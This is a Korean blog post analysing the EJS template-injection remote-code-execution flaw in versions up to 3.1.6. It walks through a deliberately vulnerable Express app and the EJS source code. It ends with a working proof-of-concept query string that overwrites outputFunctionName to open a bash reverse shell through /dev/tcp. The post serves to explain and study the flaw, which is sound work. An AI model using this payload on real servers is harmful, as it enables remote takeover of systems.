๐Ÿšช Intro

2022๋…„ 4์›”๋‹ฌ์— nodejs ์˜ ๋ชจ๋“ˆ์ธ EJS์—์„œ RCE ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋งจ ์•„๋ž˜ Reference ์— ์žˆ๋Š” ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ ์–ด๋–ป๊ฒŒ EJS์—์„œ RCE๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€๋ฅผ ๋ถ„์„ํ•ด ๋ดค์Šต๋‹ˆ๋‹ค.

 

์ทจ์•ฝํ•œ EJS ๋ฒ„์ „์€ `3.1.6` ์ดํ•˜ ๋ฒ„์ „์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ์ทจ์•ฝ์ ์€ `3.1.7`์—์„œ ํŒจ์น˜ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

 


 

๐Ÿ’กAnalysis

ํ™˜๊ฒฝ ์„ธํŒ…์„ ์œ„ํ•ด ์•„๋ž˜์™€ ๊ฐ™์€ ๋ช…๋ น์–ด๋กœ ์ทจ์•ฝํ•œ EJS ๋ฒ„์ „์„ ์„ค์น˜ํ•ด ์ค๋‹ˆ๋‹ค.

npm install ejs@3.1.6

 

์ดํ›„ ๊ฐ„๋‹จํ•œ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•ด ์ค๋‹ˆ๋‹ค.

// index.js

const express = require("express");
const app = express();

app.set("view engine", "ejs")
app.get("/", (req, res) => {
    console.log(req.query);
    res.render("index", req.query);
})

app.listen(8080, () => {
    console.log("runnging");
})
<!-- views/index.ejs -->

<h1>
	You are viewing page number
    <%= id %>
</h1>

 

index.js ํŒŒ์ผ์—์„œ 9๋ฒˆ์งธ ์ค„์„ ๋ณด๋ฉด, GET ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ „์†ก๋œ ๊ฐ’์„ `req.query` ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•ด ejs template์œผ๋กœ ๋„˜๊ฒจ์ฃผ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๋ก ๋ถ€ํ„ฐ ๋ง์”€ ๋“œ๋ฆฌ์ž๋ฉด, GET ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ „์†ก๋œ ๊ฐ’์„ `req.query` ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•ด ejs template์œผ๋กœ ๋„˜๊ฒจ์ฃผ๋Š” ์ฝ”๋“œ๋กœ ์ธํ•ด ์ทจ์•ฝ์ ์ด ํŠธ๋ฆฌ๊ฑฐ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

 

index.js ํŒŒ์ผ์—์„œ 9๋ฒˆ์งธ ์ค„์—, `req.query` ๋ณ€์ˆ˜๋ฅผ ์ธ์ž๋กœ ์ „๋‹ฌํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. express ๋ชจ๋“ˆ์—์„œ ๋กœ์ง์„ ์ฒ˜๋ฆฌํ•œ ๋’ค, `ejs.js:454` ์ค„์—์„œ `args.shift()` ๋ฅผ ํ†ตํ•ด data ๋ณ€์ˆ˜์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L454

 

 

๋™์ž‘์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด 454๋ฒˆ์งธ ์ค„์—์„œ bp๋ฅผ ๊ฑด ๋’ค, ๋ธŒ๋ผ์šฐ์ €๋„ `?id=aaaaa` ๋ผ๋Š” ๊ฐ’์„ GET ๋ฐฉ์‹์œผ๋กœ ์ „๋‹ฌ ํ•ฉ๋‹ˆ๋‹ค.

์ด๋•Œ `data` ๋ณ€์ˆ˜์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ’๋“ค์ด ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ์ž˜ ๋ณด๋ฉด, `id: aaaaa` ๋ผ๋Š” key, value ๊ฐ€ ๋“ค์–ด๊ฐ„ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์ฃ .

 

 

์ดํ›„ `ejs.js:473` ์ค„์—์„œ ์•„๊นŒ ์„ค๋ช…ํ•œ `data` ๋ณ€์ˆ˜์—์„œ `data.settings['view options']` ๋ผ๋Š” ๊ฐ’์ด ์žˆ์œผ๋ฉด `475๋ฒˆ์งธ ์ค„` ์— ์žˆ๋Š” `utils.shallowCopy` ๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ๋™์ž‘ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ํ˜„์žฌ ์ƒํ™ฉ์—์„œ๋Š” ์œ„ ์‚ฌ์ง„์„ ๋ณด๋ฉด ์•Œ ์ˆ˜ ์žˆ๋“ฏ์ด `data` ๋ณ€์ˆ˜์— `view options` ๋ผ๋Š” key๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ `475๋ฒˆ์งธ ์ค„` ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L475

 

 

์šฐ์„ , `utils.shallowCopy()` ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋‘๋ฒˆ์งธ ์ธ์ž์˜ ๊ฐ’์„ ์ฒซ๋ฒˆ์งธ ์ธ์ž์— ๋ณต์‚ฌํ•œ ๋’ค ๋ฆฌํ„ดํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ ์ค‘์š”ํ•œ ์ ์€ ์ฒซ๋ฒˆ์งธ ์ธ์ž๊ฐ€ `opts` ๋ผ๋Š” ์  ์ž…๋‹ˆ๋‹ค. ์ด ๋‚ด์šฉ์„ ์ž˜ ๊ธฐ์–ตํ•ด ์ฃผ์„ธ์š”.

๋งŒ์•ฝ ํŠน์ • ๋ณ€์ˆ˜๋ฅผ overwrite ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์–ด๋–ค ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์„๊นŒ์š”?

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/utils.js#L115

 

 

EJS๋Š” Template๋ฅผ rendering ํ•  ๋•Œ javascript code๋ฅผ ์‹คํ–‰ํ•ด ์ฃผ๋Š” ๋กœ์ง์ด ์žˆ์Šต๋‹ˆ๋‹ค. 

`prepended` ๋ณ€์ˆ˜์—๋Š” javascript code๊ฐ€ ์žˆ๊ณ , `opts.outputFunctionName` ๊ฐ’์ด ์žˆ๋‹ค๋ฉด `opts.outputFunctionName` ๊ฐ’์„ `prepended` ๋ณ€์ˆ˜์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ `opts.outputFunctionName` ๊ฐ’์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด RCE๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ฒ ๋„ค์š”!

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L589

 

 

์•ž์„œ ์„ค๋ช…ํ–ˆ๋˜ `utils.shallowCopy()` ํ•จ์ˆ˜์—์„œ ์ฒซ๋ฒˆ์งธ ์ธ์ž๋Š” `opts` ๋ณ€์ˆ˜ ์ž…๋‹ˆ๋‹ค. ์ฆ‰, ๊ณต๊ฒฉ์ž๋Š” `opts` ๋ณ€์ˆ˜์— ์›ํ•˜๋Š” ๊ฐ’์„ ๋„ฃ์–ด ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 


 

๐Ÿ’กExploit

`utils.shallowCopy()` ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰์‹œํ‚ค๊ธฐ ์œ„ํ•ด์„œ๋Š” `data.settings['view options']` ๋ผ๋Š” ๊ฐ’์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. 

๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” `?id=2&settings[view options][a]=b` ์ธ์ž๋ฅผ GET ๋ฐฉ์‹์œผ๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L475

 

 

๋””๋ฒ„๊น…์„ ํ†ตํ•ด ํ™•์ธํ•˜๋ฉด `ejs.js:475` ๋ฒˆ์งธ ์ค„์˜ `utils.shallowCopy()` ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๋ฉด ์ตœ์ข…์ ์œผ๋กœ `opts` ๋ณ€์ˆ˜์— `a: b` ๋ผ๋Š” key, value ๊ฐ€ ์ถ”๊ฐ€๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

์ฆ‰, ๊ณต๊ฒฉ์ž๋Š” `opts` ๋ณ€์ˆ˜์— ์›ํ•˜๋Š” key์™€ value๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

RCE๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด ์•ž์„œ ์„ค๋ช…ํ–ˆ๋˜ `opts.outputFunctionName` ๊ฐ’์„ overwrite ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. 

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L589

 

 

๋”ฐ๋ผ์„œ ์ตœ์ข…์ ์ธ poc ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s

 


 

๐Ÿšช Reference

https://eslam.io/posts/ejs-server-side-template-injection-rce/

 

EJS, Server side template injection RCE (CVE-2022-29078) - writeup

Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level. Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS In my

eslam.io